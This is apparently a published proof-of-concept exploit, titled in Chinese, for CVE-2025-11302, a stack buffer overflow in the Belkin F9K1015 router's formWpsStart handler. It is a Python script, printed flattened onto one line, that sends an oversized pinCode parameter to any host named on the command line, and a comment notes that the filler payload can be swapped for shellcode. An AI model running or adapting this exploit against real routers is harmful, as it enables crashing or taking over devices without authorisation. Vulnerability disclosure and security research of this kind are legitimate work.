CVE-2025-11302 Belkin F9K1015 formWpsStart缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11302 - Belkin F9K1015 formWpsStart Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via pinCode parameter # Affected: Belkin F9K1015 firmware version 1.00.10 # Author: Security Researcher (panda666-888) import requests import sys TARGET_URL = "http://TARGET_HOST/goform/formWpsStart" # Construct the malicious pinCode parameter to trigger buffer overflow # The pinCode parameter is passed without proper length validation # causing a stack buffer overflow when processing WPS start request BUFFER_SIZE = 512 # Estimated buffer size for pinCode PAYLOAD = "A" * BUFFER_SIZE # Overflow payload (can be replaced with shellcode) def exploit(target_host, payload=None): """ Send a crafted request to the vulnerable formWpsStart endpoint with an oversized pinCode parameter to trigger buffer overflow. """ if payload is None: payload = PAYLOAD url = f"http://{target_host}/goform/formWpsStart" # Data payload with malicious pinCode parameter data = { "pinCode": payload, "action": "start" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [payload]") print(f"Example: {sys.argv[0]} 192.168.1.1") sys.exit(1) target = sys.argv[1] custom_payload = sys.argv[2] if len(sys.argv) > 2 else None print(f"[*] CVE-2025-11302 - Belkin F9K1015 Buffer Overflow PoC") print(f"[*] Target: {target}") exploit(target, custom_payload) print("[*] Exploit attempt completed")